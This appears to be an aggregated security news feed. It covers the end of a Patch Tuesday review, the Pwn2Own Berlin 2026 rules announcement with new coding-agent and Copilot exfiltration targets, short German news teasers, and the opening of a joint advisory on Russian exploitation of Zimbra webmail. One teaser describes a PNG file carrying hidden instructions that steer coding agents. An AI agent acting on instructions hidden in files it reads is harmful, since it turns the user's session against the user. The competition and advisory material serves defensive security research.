CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Announcing Pwn2Own Berlin for 2026

Sat, 25 Jul 2026 19:00:42 +0200

If you just want to read the contest rules, click here.

Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

Back to top

Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

Back to top

Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

Back to top

The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

Back to top

Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

Back to top

The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

Back to top

AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

Back to top

The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

Back to top

The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

Back to top

Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

Zero Trust Network Access (ZTNA) Solutions: Our Top Picks by Use Case (2026)

Sat, 25 Jul 2026 19:00:37 +0200

The VPN is finally dying, and ZTNA is what replaces it — least-privilege access to individual applications instead of a tunnel onto your whole network. But the right ZTNA depends entirely on who you are: a 40-person startup replacing a clunky VPN needs a very different tool than a global enterprise consolidating onto SASE. So […]

The post Zero Trust Network Access (ZTNA) Solutions: Our Top Picks by Use Case (2026) appeared first on Cyber Security News.

ThreatsDay: Wie scheinbar harmlose Updates und KI-Input-Agenten missbraucht werden

Sat, 25 Jul 2026 19:00:31 +0200

LONDON (IT BOLTWISE) – Dieses ThreatsDay-Bulletin zeigt, wie Angreifer die „Gewohnheit“ der Nutzer ausnutzen: Updates, Berechtigungen, normale Installationswege und sogar KI-Bildreviews. Ein Beispiel ist eine PNG-Datei, die versteckte Anweisungen enthält und damit Coding-Agenten in Sessions mit scheinbar harmlosen Aufgaben lenken kann. Daneben stehen konkrete Änderungen an Plattformen wie GitHub Enterprise Server und PyPI, die genau […]

... den vollständigen Artikel »ThreatsDay: Wie scheinbar harmlose Updates und KI-Input-Agenten missbraucht werden« lesen

Dieser Beitrag ThreatsDay: Wie scheinbar harmlose Updates und KI-Input-Agenten missbraucht werden erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Zimbra-Classic-Web-Client: Zimbra-Zero-Day CVE-2025-66376 ermöglicht Mail-Diebstahl und 2FA-Scratch-Codes

Sat, 25 Jul 2026 19:00:30 +0200

LONDON (IT BOLTWISE) – Eine staatlich unterstützte Spionagekampagne nutzte einen damals unbekannten Fehler im Zimbra-Webmail-Client, um über bösartige E-Mails Zugriff auf Postfächer zu bekommen. Die Methode erfordert offenbar nur das Anzeigen der Nachricht, weil der Schadcode beim Rendern im eingeloggten Session-Kontext läuft. Betroffen sind insbesondere Zimbra Collaboration 10.0 bis zu bestimmten Patchständen sowie 10.1-Versionen vor […]

... den vollständigen Artikel »Zimbra-Classic-Web-Client: Zimbra-Zero-Day CVE-2025-66376 ermöglicht Mail-Diebstahl und 2FA-Scratch-Codes« lesen

Dieser Beitrag Zimbra-Classic-Web-Client: Zimbra-Zero-Day CVE-2025-66376 ermöglicht Mail-Diebstahl und 2FA-Scratch-Codes erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Schnell wie ein Toilettengang: Wie funktioniert Megawattladen?

Sat, 25 Jul 2026 18:59:45 +0200

Der Beitrag Schnell wie ein Toilettengang: Wie funktioniert Megawattladen? erschien zuerst beim Online-Magazin BASIC thinking. Über unseren Newsletter UPDATE startest du jeden Morgen bestens informiert in den Tag.

In wenigen Minuten Strom für Hunderte Kilometer Reichweite oder einen Lkw während der Pause voll laden: Das soll das sogenannte Megawattladen möglich machen. 2025 eröffneten die ersten Stationen in Europa. Wir verraten dir, wie die Technologie funktioniert. Elektrofahrzeuge schneller laden zu können, bringt für Pkw mehr Reisekomfort und mehr Wirtschaftlichkeit für Lkw im Fernverkehr. Um […]

Der Beitrag Schnell wie ein Toilettengang: Wie funktioniert Megawattladen? erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Sat, 25 Jul 2026 18:59:26 +0200

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),
the federal and local government,
education,
energy,
law enforcement,
media,
non-governmental organizations, and
technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

